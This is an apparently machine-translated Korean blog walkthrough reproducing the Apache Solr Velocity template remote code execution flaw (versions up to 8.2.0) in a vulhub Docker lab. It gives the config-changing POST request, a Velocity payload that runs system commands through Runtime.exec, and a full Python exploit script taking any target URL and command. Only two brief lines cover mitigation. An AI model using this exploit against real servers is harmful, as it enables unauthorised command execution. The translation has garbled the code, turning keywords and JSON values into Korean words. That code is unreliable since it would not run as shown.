속도 템플릿 원격 코드 실행을 통해 [생식] 취약점 아파치 SOLR

0x01로 개요

SOLR 소개

아파치 SOLR는 오픈 소스 엔터프라이즈 검색 서버입니다. SOLR는 자바 언어 발달, 주로 HTTP 및 아파치 루씬의 구현에 기반을 사용합니다. 자원 아파치 SOLR는 문서 객체 저장소로 저장됩니다. 그것은 운영 유사한 웹 서비스 API 인터페이스를 제공합니다. 또한 HTTP GET 조작에 의한 요청을 찾기 위해 할 수 있고, XML 형식으로 결과를 다시 얻을, 사용자가 HTTP 요청, 인덱스를 생성하는 특정 검색 엔진 서버에 XML 파일 형식을 제출할 수 있습니다.

취약점 개요

아파치 SOLR 원격 명령 실행 취약점이 속도 템플릿을 기반으로 존재한다. 이 취약점은 사출 속도 템플릿으로 인해 발생한다. 아파치 SOLR는, VelocityResponseWriter 기본 위젯을 통합 매개 변수 템플릿 SOLR 요청에 지정된 자원 로더 매개 변수를 허용할지 여부를 제어하는 ​​데 사용됩니다 초기화 플러그인 매개 변수이 옵션을 params.resource.loader.enabled, 기본값은 false입니다. 공격자가 직접 액세스 SOLR 콘솔, 비슷한 보낼 수 있습니다 때 : true로 SOLR / 노드 이름 / 구성 파일 노드를 변경할 POST 요청을 config (설정)의 params.resource.loader.enabled 세트를 (지정된 리소스를로드 ), 당신은 서버에서 명령을 실행할 수 있습니다, GET 요청을 구성.

영향의 구체

아파치 SOLR <= 8.2.0

0x02로 재현 과정

빌드 환경

(취약성 vulhub가 해당 환경을 업데이트하지 인한 환경까지 vulhub 사용하므로 CVE-2019-0193)

시작 환경

CD / vulhub / SOLR / CVE- 2019 년 - 0,193
고정 표시기-구성까지 -d

 

코어 만들기

고정 표시기-작성 간부 SOLR bash는 빈 / SOLR create_core -c test_0nth3way -d 예 / 예 - 다이 하이드로 / SOLR / DB

 

빌드 성공

방문 http : // IP : 8983

 

 

취약점 재생

수동 검증

(1) 수정 코어 구성 설정 "params.resource.loader.enabled"사실이다

POST / SOLR / test_0nth3way / 설정 HTTP / 1.1 
호스트 : 192.168 . 17.136 : 8983 
콘텐츠 - 유형 : 응용 프로그램 / JSON 
콘텐츠 - 길이 : 259 

{ 
  " 갱신 queryresponsewriter " : {
     " 시작 " : " 게으른 " ,
     " 이름 " : " 속도 " ,
     " 클래스 " : " solr.VelocityResponseWriter " ,
     "template.base.dir는 " : " " ,
     " solr.resource.loader.enabled " : " 사실 " ,
     " params.resource.loader.enabled " : " 진정한 " 
  } 
}

(2) 원격 코드 실행

GET / SOLR / test_0nth3way / 선택 ? Q = 1 && 중량 = 속도 및 v.template = 사용자 정의 및 v.template.custom = % 23 세트 ($ X = % 27 % 27 ) + % 23 세트 ($ RT = $ X. 클래스 .forName ( % 27java.lang.Runtime % 27 )) + 23 % 집합 (CHR $ X = $. 클래스 .forName (% 27java.lang.Character % 27 )) + 23 % 집합 ($ STR = $ X. 클래스 .forName ( % 27java.lang.String % 27 )) + 23 % 집합 (예 $ = $ rt.getRuntime (). 간부 (27 % ID % 27 )) + $ ex.waitFor () + 23 % 집합 ($ 밖으로= $ ex.getInputStream ()) + 23 % 의 foreach ($ + I 에서 [+ 1 ... $ 아웃 ) $ str.valueOf .available () ($ chr.toChars ($ 아웃 .read ())) % 23end HTTP / 1.1 
호스트 : 192.168 . 17.136 : 8983

 

 파이썬 스크립트 검증

부록 EXP :

수입 요청을
 가져올 JSON
 수입 SYS
 #의 파이썬 Apache_Solr_via_Velocity_template_RCE.py http://192.168.17.136:8983 WHOAMI : 사용 
# 속도 템플릿을 통해 아파치 SOLR RCE를 
# http://192.168.1.26:8983/solr/0nth3way/config : Upconfig 
# ExecCmd : 0 SOLR 

데프 getname (URL) : 
    URL + = " / SOLR / 관리 / 코어 중량 = JSON indexInfo & = 거짓? " 
    CONN = requests.request ( " GET " , URL = URL) 
    이름 = " 테스트 " 
    시도 :
        이름 = 목록 (json.loads (conn.text) " 상태 " ]) [0]
     을 제외 :
         패스 
    복귀 이름 


DEF upconfig (URL 이름) 

    URL + = " / SOLR / " + 이름 + " / 설정 " 
    인쇄  " Upconfig : " , URL 
    헤더 = { " Content-Type을 " : " 응용 프로그램 / JSON " } 
    post_data = " "" 
    { 
      "갱신 queryresponsewriter": { 
        "시작": "게으른"
        "이름": "속도",
        "클래스": "solr.VelocityResponseWriter", 
        "template.base.dir": "", 
        "solr.resource.loader.enabled": "true"로, 
        "params.resource.loader.enabled": ""사실 
      } 
    } 
    "" " 
    CONN = requests.request ( " POST " , URL 데이터 = post_data 헤더 = 헤더)
     경우 conn.status_code = 200! :
         인쇄  " Upconfig 오류 : " , conn.status_code의 
        sys.exit ( 1 ) 


DEF POC를 ( URL) cmd를 :
    core_name =  getname (URL)
    upconfig (URL, core_name) 
    URL+ = " / SOLR / " + core_name + " /select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class. forName을 (% 27java.lang.Runtime 27 %)) + % 23set ($ = CHR $ x.class.forName (% 27java.lang.Character 27 %)) + % 23set ($ STR = $ x.class.forName ( % 27java.lang.String 27 %)) + % 23set ($ 전 = $ rt.getRuntime (). 간부 (27 % " + cmd를 + " % 27)) + $ ex.waitFor () + % 23set ($ 밖으로 = $ ex.getInputStream ()) + 23foreach % (+ $에서 I + [1 .. $ out.available ()]) $ str.valueOf ($ chr.toChars ($ out.read ())) %의 23end " 
    CONN = requests.request ( " GET " , URL)
     인쇄  " ExecCmd : " + CONN.텍스트 


경우 __name__ == ' __main__ ' :
     인쇄  " 아파치 SOLR RCE 속도 템플릿을 통해 " 
    URL = sys.argv에 [1 ] 
    을 cmd = sys.argv에 [2 ] 
    POC (URL (CMD))

 

0x03으로는 수정 제안

(1) 액세스 SOLR에 대한 제한을 권장

(2) 업그레이드 SOLR

추천

출처www.cnblogs.com/0nth3way/p/11884862.html